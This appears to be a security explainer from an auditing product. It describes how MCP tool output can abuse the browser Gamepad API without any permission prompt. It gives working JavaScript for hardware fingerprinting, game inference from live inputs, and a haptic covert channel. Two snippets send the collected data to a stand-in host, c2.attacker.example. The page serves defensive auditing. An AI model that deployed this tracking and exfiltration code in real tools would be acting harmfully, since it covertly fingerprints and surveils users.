MCP Server Security · Gamepad API · navigator.getGamepads() · Hardware Fingerprinting · Game Inference · Haptic Covert Channel
MCP server Gamepad API security
The Gamepad API (navigator.getGamepads()) returns the identity, button layout, and live input state of every connected gamepad without a permission dialog. MCP tool output can read device vendor and product IDs to fingerprint gaming hardware, poll live button and axis values to infer what game is running, and send haptic vibration patterns to disrupt gameplay or encode a covert signal. No browser UI indicator appears while the data is being read.
API surface: navigator.getGamepads()
// No permission required. No dialog. No indicator.
// Call during a gamepadconnected event or in a requestAnimationFrame loop.
// Trigger the gamepadconnected event — fires when any button is pressed
window.addEventListener('gamepadconnected', (event) => {
const pad = event.gamepad;
console.log('Connected:', pad.id); // e.g. "Xbox 360 Controller (Vendor: 045e Product: 028e)"
console.log('Buttons:', pad.buttons.length); // Number of buttons
console.log('Axes:', pad.axes.length); // Number of analog axes
});
// Read all connected gamepads at any time
function readGamepads() {
const pads = navigator.getGamepads(); // Returns [Gamepad|null, ...]
for (const pad of pads) {
if (!pad) continue; // Slot may be empty
console.log('id:', pad.id); // Vendor + device name
console.log('buttons:', pad.buttons.map(b => b.pressed));
console.log('axes:', Array.from(pad.axes));
}
}
No permission dialog. navigator.getGamepads() requires only that the user has pressed a button on the gamepad to dispatch the initial gamepadconnected event. After that, the full device data is accessible via polling in any requestAnimationFrame loop or timer. There is no "Allow gamepad access" prompt and no browser chrome indicator during reading. The user has no indication that their controller identity and live inputs are being read.
Attack 1: hardware fingerprinting via device ID
The Gamepad.id string contains the device vendor name, product name, vendor ID, and product ID in a browser-consistent format. Combined with the number of buttons and axes, this creates a high-entropy fingerprint:
// Gamepad fingerprint extraction
function extractGamepadFingerprint() {
const pads = Array.from(navigator.getGamepads()).filter(Boolean);
return pads.map(pad => ({
id: pad.id, // "DualSense Wireless Controller (Vendor: 054c Product: 0ce6)"
buttonCount: pad.buttons.length,
axisCount: pad.axes.length,
mapping: pad.mapping, // "standard" or "" (indicates XInput vs DirectInput)
hand: pad.hand // "left", "right", or ""
}));
}
// Exfiltrate fingerprint
navigator.sendBeacon(
'https://c2.attacker.example/gamepad-fp',
JSON.stringify({
gamepads: extractGamepadFingerprint(),
userAgent: navigator.userAgent,
timestamp: Date.now()
})
);
Known gamepad fingerprints by product ID reveal precise hardware:
| Vendor:Product | Device | Signals |
|---|---|---|
| 054c:0ce6 | Sony DualSense (PS5) | PS5 owner, gaming PC or PS5 Remote Play |
| 054c:09cc | Sony DualShock 4 (PS4) | PS4 owner, PS4 Remote Play, console gamer |
| 045e:028e | Xbox 360 Controller | PC gaming, Steam library user |
| 045e:02fd | Xbox One Controller | Xbox/PC gamer, Game Pass subscriber likely |
| 045e:0b12 | Xbox Elite Series 2 | Dedicated hardware investment; competitive gamer |
| 044f:b10a | Thrustmaster T.16000M | Flight sim user (DCS, MSFS, Star Citizen) |
| 0738:2261 | Mad Catz MCB-XBX360 | Fighting game competitor |
Attack 2: game inference from button-state patterns
Live button and axis values, sampled at 60 Hz in a requestAnimationFrame loop, create behavioral patterns that correlate with specific games:
// Sample button states at 60 Hz to infer game being played
function startGameInference() {
const samples = [];
function sample() {
const pads = navigator.getGamepads();
for (const pad of pads) {
if (!pad) continue;
samples.push({
t: pad.timestamp,
b: pad.buttons.map(b => b.value), // Analog values 0.0–1.0
a: Array.from(pad.axes) // Stick positions -1.0 to 1.0
});
}
// Collect 300 samples (~5 seconds) then analyze
if (samples.length < 300) requestAnimationFrame(sample);
else inferGame(samples);
}
requestAnimationFrame(sample);
}
function inferGame(samples) {
// Pattern recognition based on known game control profiles:
// Racing games: both triggers (analog) held, left stick deflected
// FPS games: right stick constant micro-movement (aim), triggers binary
// Fighting games: D-pad dominant, face buttons in rapid sequences
// RPG games: sparse input, long idle periods between button presses
const result = classifyInputPattern(samples);
navigator.sendBeacon('https://c2.attacker.example/game-infer', JSON.stringify(result));
}
Attack 3: vibration actuator haptic covert channel
The GamepadHapticActuator interface allows JavaScript to trigger vibration patterns on connected controllers that support force feedback. This enables two attack classes:
// Disruptive: trigger unexpected vibration during gameplay
async function disruptGameplay(padIndex) {
const pad = navigator.getGamepads()[padIndex];
if (!pad || !pad.vibrationActuator) return;
// Unexpected strong vibration during precise gameplay moment (e.g., aim)
await pad.vibrationActuator.playEffect('dual-rumble', {
startDelay: 0,
duration: 500,
weakMagnitude: 1.0,
strongMagnitude: 1.0
});
}
// Covert channel: encode data in vibration timing pattern
async function encodeVibrHaptic(data, padIndex) {
const pad = navigator.getGamepads()[padIndex];
if (!pad?.vibrationActuator) return;
// Encode bits as short (0) vs long (1) vibration pulses
// A nearby microphone could record and decode the pattern
const bits = data.split('').map(c => c.charCodeAt(0).toString(2).padStart(8,'0')).join('');
for (const bit of bits) {
await pad.vibrationActuator.playEffect('dual-rumble', {
duration: bit === '1' ? 200 : 50,
weakMagnitude: 0.3, strongMagnitude: 0.3
});
await new Promise(r => setTimeout(r, 100)); // Inter-bit gap
}
}
Browser and client support
| Browser / Client | getGamepads()? | Vibration? | Notes |
|---|---|---|---|
| Chrome, Edge (all platforms) | Yes | Yes (dual-rumble) | Full API; triggered after first button press |
| Firefox | Yes | Partial | vibrationActuator limited; getGamepads() available |
| Safari | Partial (Safari 16.4+) | No | id field normalized — vendor/product IDs may be absent |
| Electron (Claude Desktop, Cursor, Windsurf) | Yes (Chromium webview) | Yes | Full Chrome-equivalent; all gamepads accessible |
SkillAudit findings
navigator.getGamepads() and exfiltrating pad.id strings — zero-permission hardware fingerprinting revealing gaming device manufacturer, model, and product ID
pad.buttons and pad.axes values at high frequency — behavioral fingerprinting and game-in-progress inference from input patterns
vibrationActuator.playEffect() with high magnitude — disruptive haptic interference with ongoing gameplay or encoding a haptic covert channel
Permissions-Policy: gamepad=() — no policy defense against getGamepads() calls in framed tool output contexts (Chrome 86+ supports this policy)
Related: WebUSB API Security · Compute Pressure API Security · Background Sync Deep Dive · Run a SkillAudit →